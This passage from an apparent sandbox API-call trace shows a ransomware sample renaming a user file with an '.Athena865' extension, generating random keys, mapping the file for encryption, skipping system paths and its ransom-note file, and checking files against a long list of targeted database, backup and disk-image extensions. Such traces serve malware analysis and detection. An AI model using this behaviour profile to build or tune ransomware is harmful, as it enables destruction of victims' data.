lpString2="xmlff") returned -1 [0049.575] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2BPJ3u.mkv.Athena865") returned 84 [0049.575] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2BPJ3u.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2bpj3u.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2BPJ3u.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2bpj3u.mkv.athena865"), dwFlags=0x1) returned 1 [0049.576] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\2BPJ3u.mkv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\2bpj3u.mkv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.576] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81288) returned 1 [0049.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.576] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.577] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.577] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.577] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14090, lpName=0x0) returned 0x17c [0049.577] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14090) returned 0x100000 [0049.580] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.581] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.581] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.582] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.582] CloseHandle (hObject=0x17c) returned 1 [0049.582] CloseHandle (hObject=0x154) returned 1 [0049.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.584] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66b4a400, ftCreationTime.dwHighDateTime=0x1d4c978, ftLastAccessTime.dwLowDateTime=0x8a581a10, ftLastAccessTime.dwHighDateTime=0x1d4c985, ftLastWriteTime.dwLowDateTime=0x8a581a10, ftLastWriteTime.dwHighDateTime=0x1d4c985, nFileSizeHigh=0x0, nFileSizeLow=0x5f45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2pcowbcBn7D vLy.mp3", cAlternateFileName="2PCOWB~1.MP3")) returned 1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2=".") returned 1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="..") returned 1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="windows") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="bootmgr") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="temp") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="pagefile.sys") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="boot") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="ids.txt") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="ntuser.dat") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="perflogs") returned -1 [0049.584] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2="MSBuild") returned -1 [0049.584] lstrlenW (lpString="2pcowbcBn7D vLy.mp3") returned 19 [0049.585] lstrcpyW (in: lpString1=0x241e8c8, lpString2="2pcowbcBn7D vLy.mp3" | out: lpString1="2pcowbcBn7D vLy.mp3") returned="2pcowbcBn7D vLy.mp3" [0049.585] lstrlenW (lpString="2pcowbcBn7D vLy.mp3") returned 19 [0049.585] lstrlenW (lpString="Athena865") returned 9 [0049.585] lstrcmpiW (lpString1="D vLy.mp3", lpString2="Athena865") returned 1 [0049.585] lstrlenW (lpString=".dll") returned 4 [0049.585] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2=".dll") returned 1 [0049.585] lstrlenW (lpString=".lnk") returned 4 [0049.585] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2=".lnk") returned 1 [0049.585] lstrlenW (lpString=".ini") returned 4 [0049.585] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2=".ini") returned 1 [0049.585] lstrlenW (lpString=".sys") returned 4 [0049.585] lstrcmpiW (lpString1="2pcowbcBn7D vLy.mp3", lpString2=".sys") returned 1 [0049.585] lstrlenW (lpString="2pcowbcBn7D vLy.mp3") returned 19 [0049.585] lstrlenW (lpString="bak") returned 3 [0049.585] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0049.585] lstrlenW (lpString="ba_") returned 3 [0049.585] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0049.585] lstrlenW (lpString="dbb") returned 3 [0049.585] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0049.585] lstrlenW (lpString="vmdk") returned 4 [0049.585] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0049.585] lstrlenW (lpString="rar") returned 3 [0049.585] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0049.585] lstrlenW (lpString="zip") returned 3 [0049.585] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0049.585] lstrlenW (lpString="tgz") returned 3 [0049.585] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0049.585] lstrlenW (lpString="vbox") returned 4 [0049.585] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0049.585] lstrlenW (lpString="vdi") returned 3 [0049.585] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0049.585] lstrlenW (lpString="vhd") returned 3 [0049.585] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0049.586] lstrlenW (lpString="vhdx") returned 4 [0049.586] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0049.586] lstrlenW (lpString="avhd") returned 4 [0049.586] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0049.586] lstrlenW (lpString="db") returned 2 [0049.586] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0049.586] lstrlenW (lpString="db2") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0049.586] lstrlenW (lpString="db3") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0049.586] lstrlenW (lpString="dbf") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0049.586] lstrlenW (lpString="mdf") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0049.586] lstrlenW (lpString="mdb") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0049.586] lstrlenW (lpString="sql") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0049.586] lstrlenW (lpString="sqlite") returned 6 [0049.586] lstrcmpiW (lpString1="Ly.mp3", lpString2="sqlite") returned -1 [0049.586] lstrlenW (lpString="sqlite3") returned 7 [0049.586] lstrcmpiW (lpString1="vLy.mp3", lpString2="sqlite3") returned 1 [0049.586] lstrlenW (lpString="sqlitedb") returned 8 [0049.586] lstrcmpiW (lpString1=" vLy.mp3", lpString2="sqlitedb") returned -1 [0049.586] lstrlenW (lpString="xml") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0049.586] lstrlenW (lpString="$er") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0049.586] lstrlenW (lpString="4dd") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0049.586] lstrlenW (lpString="4dl") returned 3 [0049.586] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0049.586] lstrlenW (lpString="^^^") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0049.587] lstrlenW (lpString="abs") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0049.587] lstrlenW (lpString="abx") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0049.587] lstrlenW (lpString="accdb") returned 5 [0049.587] lstrcmpiW (lpString1="y.mp3", lpString2="accdb") returned 1 [0049.587] lstrlenW (lpString="accdc") returned 5 [0049.587] lstrcmpiW (lpString1="y.mp3", lpString2="accdc") returned 1 [0049.587] lstrlenW (lpString="accde") returned 5 [0049.587] lstrcmpiW (lpString1="y.mp3", lpString2="accde") returned 1 [0049.587] lstrlenW (lpString="accdr") returned 5 [0049.587] lstrcmpiW (lpString1="y.mp3", lpString2="accdr") returned 1 [0049.587] lstrlenW (lpString="accdt") returned 5 [0049.587] lstrcmpiW (lpString1="y.mp3", lpString2="accdt") returned 1 [0049.587] lstrlenW (lpString="accdw") returned 5 [0049.587] lstrcmpiW (lpString1="y.mp3", lpString2="accdw") returned 1 [0049.587] lstrlenW (lpString="accft") returned 5 [0049.587] lstrcmpiW (lpString1="y.mp3", lpString2="accft") returned 1 [0049.587] lstrlenW (lpString="adb") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0049.587] lstrlenW (lpString="adb") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0049.587] lstrlenW (lpString="ade") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0049.587] lstrlenW (lpString="adf") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0049.587] lstrlenW (lpString="adn") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0049.587] lstrlenW (lpString="adp") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0049.587] lstrlenW (lpString="alf") returned 3 [0049.587] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0049.588] lstrlenW (lpString="ask") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0049.588] lstrlenW (lpString="btr") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0049.588] lstrlenW (lpString="cat") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0049.588] lstrlenW (lpString="cdb") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0049.588] lstrlenW (lpString="ckp") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0049.588] lstrlenW (lpString="cma") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0049.588] lstrlenW (lpString="cpd") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0049.588] lstrlenW (lpString="dacpac") returned 6 [0049.588] lstrcmpiW (lpString1="Ly.mp3", lpString2="dacpac") returned 1 [0049.588] lstrlenW (lpString="dad") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0049.588] lstrlenW (lpString="dadiagrams") returned 10 [0049.588] lstrcmpiW (lpString1="7D vLy.mp3", lpString2="dadiagrams") returned -1 [0049.588] lstrlenW (lpString="daschema") returned 8 [0049.588] lstrcmpiW (lpString1=" vLy.mp3", lpString2="daschema") returned -1 [0049.588] lstrlenW (lpString="db-journal") returned 10 [0049.588] lstrcmpiW (lpString1="7D vLy.mp3", lpString2="db-journal") returned -1 [0049.588] lstrlenW (lpString="db-shm") returned 6 [0049.588] lstrcmpiW (lpString1="Ly.mp3", lpString2="db-shm") returned 1 [0049.588] lstrlenW (lpString="db-wal") returned 6 [0049.588] lstrcmpiW (lpString1="Ly.mp3", lpString2="db-wal") returned 1 [0049.588] lstrlenW (lpString="dbc") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0049.588] lstrlenW (lpString="dbs") returned 3 [0049.588] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0049.588] lstrlenW (lpString="dbt") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0049.589] lstrlenW (lpString="dbv") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0049.589] lstrlenW (lpString="dbx") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0049.589] lstrlenW (lpString="dcb") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0049.589] lstrlenW (lpString="dct") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0049.589] lstrlenW (lpString="dcx") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0049.589] lstrlenW (lpString="ddl") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0049.589] lstrlenW (lpString="dlis") returned 4 [0049.589] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1 [0049.589] lstrlenW (lpString="dp1") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1 [0049.589] lstrlenW (lpString="dqy") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1 [0049.589] lstrlenW (lpString="dsk") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1 [0049.589] lstrlenW (lpString="dsn") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1 [0049.589] lstrlenW (lpString="dtsx") returned 4 [0049.589] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1 [0049.589] lstrlenW (lpString="dxl") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1 [0049.589] lstrlenW (lpString="eco") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1 [0049.589] lstrlenW (lpString="ecx") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1 [0049.589] lstrlenW (lpString="edb") returned 3 [0049.589] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1 [0049.589] lstrlenW (lpString="epim") returned 4 [0049.590] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1 [0049.590] lstrlenW (lpString="fcd") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1 [0049.590] lstrlenW (lpString="fdb") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1 [0049.590] lstrlenW (lpString="fic") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1 [0049.590] lstrlenW (lpString="flexolibrary") returned 12 [0049.590] lstrcmpiW (lpString1="Bn7D vLy.mp3", lpString2="flexolibrary") returned -1 [0049.590] lstrlenW (lpString="fm5") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1 [0049.590] lstrlenW (lpString="fmp") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1 [0049.590] lstrlenW (lpString="fmp12") returned 5 [0049.590] lstrcmpiW (lpString1="y.mp3", lpString2="fmp12") returned 1 [0049.590] lstrlenW (lpString="fmpsl") returned 5 [0049.590] lstrcmpiW (lpString1="y.mp3", lpString2="fmpsl") returned 1 [0049.590] lstrlenW (lpString="fol") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1 [0049.590] lstrlenW (lpString="fp3") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1 [0049.590] lstrlenW (lpString="fp4") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1 [0049.590] lstrlenW (lpString="fp5") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1 [0049.590] lstrlenW (lpString="fp7") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1 [0049.590] lstrlenW (lpString="fpt") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1 [0049.590] lstrlenW (lpString="frm") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1 [0049.590] lstrlenW (lpString="gdb") returned 3 [0049.590] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0049.590] lstrlenW (lpString="gdb") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0049.591] lstrlenW (lpString="grdb") returned 4 [0049.591] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1 [0049.591] lstrlenW (lpString="gwi") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1 [0049.591] lstrlenW (lpString="hdb") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1 [0049.591] lstrlenW (lpString="his") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1 [0049.591] lstrlenW (lpString="ib") returned 2 [0049.591] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1 [0049.591] lstrlenW (lpString="idb") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1 [0049.591] lstrlenW (lpString="ihx") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1 [0049.591] lstrlenW (lpString="itdb") returned 4 [0049.591] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1 [0049.591] lstrlenW (lpString="itw") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1 [0049.591] lstrlenW (lpString="jet") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1 [0049.591] lstrlenW (lpString="jtx") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1 [0049.591] lstrlenW (lpString="kdb") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1 [0049.591] lstrlenW (lpString="kexi") returned 4 [0049.591] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1 [0049.591] lstrlenW (lpString="kexic") returned 5 [0049.591] lstrcmpiW (lpString1="y.mp3", lpString2="kexic") returned 1 [0049.591] lstrlenW (lpString="kexis") returned 5 [0049.591] lstrcmpiW (lpString1="y.mp3", lpString2="kexis") returned 1 [0049.591] lstrlenW (lpString="lgc") returned 3 [0049.591] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1 [0049.591] lstrlenW (lpString="lwx") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1 [0049.592] lstrlenW (lpString="maf") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1 [0049.592] lstrlenW (lpString="maq") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1 [0049.592] lstrlenW (lpString="mar") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1 [0049.592] lstrlenW (lpString="marshal") returned 7 [0049.592] lstrcmpiW (lpString1="vLy.mp3", lpString2="marshal") returned 1 [0049.592] lstrlenW (lpString="mas") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1 [0049.592] lstrlenW (lpString="mav") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1 [0049.592] lstrlenW (lpString="maw") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1 [0049.592] lstrlenW (lpString="mdbhtml") returned 7 [0049.592] lstrcmpiW (lpString1="vLy.mp3", lpString2="mdbhtml") returned 1 [0049.592] lstrlenW (lpString="mdn") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1 [0049.592] lstrlenW (lpString="mdt") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1 [0049.592] lstrlenW (lpString="mfd") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1 [0049.592] lstrlenW (lpString="mpd") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1 [0049.592] lstrlenW (lpString="mrg") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1 [0049.592] lstrlenW (lpString="mud") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1 [0049.592] lstrlenW (lpString="mwb") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1 [0049.592] lstrlenW (lpString="myd") returned 3 [0049.592] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1 [0049.592] lstrlenW (lpString="ndf") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1 [0049.593] lstrlenW (lpString="nnt") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1 [0049.593] lstrlenW (lpString="nrmlib") returned 6 [0049.593] lstrcmpiW (lpString1="Ly.mp3", lpString2="nrmlib") returned -1 [0049.593] lstrlenW (lpString="ns2") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1 [0049.593] lstrlenW (lpString="ns3") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1 [0049.593] lstrlenW (lpString="ns4") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1 [0049.593] lstrlenW (lpString="nsf") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1 [0049.593] lstrlenW (lpString="nv") returned 2 [0049.593] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1 [0049.593] lstrlenW (lpString="nv2") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1 [0049.593] lstrlenW (lpString="nwdb") returned 4 [0049.593] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1 [0049.593] lstrlenW (lpString="nyf") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1 [0049.593] lstrlenW (lpString="odb") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0049.593] lstrlenW (lpString="odb") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0049.593] lstrlenW (lpString="oqy") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1 [0049.593] lstrlenW (lpString="ora") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1 [0049.593] lstrlenW (lpString="orx") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1 [0049.593] lstrlenW (lpString="owc") returned 3 [0049.593] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1 [0049.593] lstrlenW (lpString="p96") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1 [0049.594] lstrlenW (lpString="p97") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1 [0049.594] lstrlenW (lpString="pan") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1 [0049.594] lstrlenW (lpString="pdb") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1 [0049.594] lstrlenW (lpString="pdm") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1 [0049.594] lstrlenW (lpString="pnz") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1 [0049.594] lstrlenW (lpString="qry") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1 [0049.594] lstrlenW (lpString="qvd") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1 [0049.594] lstrlenW (lpString="rbf") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1 [0049.594] lstrlenW (lpString="rctd") returned 4 [0049.594] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1 [0049.594] lstrlenW (lpString="rod") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1 [0049.594] lstrlenW (lpString="rodx") returned 4 [0049.594] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1 [0049.594] lstrlenW (lpString="rpd") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1 [0049.594] lstrlenW (lpString="rsd") returned 3 [0049.594] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1 [0049.594] lstrlenW (lpString="sas7bdat") returned 8 [0049.594] lstrcmpiW (lpString1=" vLy.mp3", lpString2="sas7bdat") returned -1 [0049.594] lstrlenW (lpString="sbf") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1 [0049.595] lstrlenW (lpString="scx") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1 [0049.595] lstrlenW (lpString="sdb") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1 [0049.595] lstrlenW (lpString="sdc") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1 [0049.595] lstrlenW (lpString="sdf") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1 [0049.595] lstrlenW (lpString="sis") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1 [0049.595] lstrlenW (lpString="spq") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1 [0049.595] lstrlenW (lpString="te") returned 2 [0049.595] lstrcmpiW (lpString1="p3", lpString2="te") returned -1 [0049.595] lstrlenW (lpString="teacher") returned 7 [0049.595] lstrcmpiW (lpString1="vLy.mp3", lpString2="teacher") returned 1 [0049.595] lstrlenW (lpString="tmd") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1 [0049.595] lstrlenW (lpString="tps") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1 [0049.595] lstrlenW (lpString="trc") returned 3 [0049.595] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 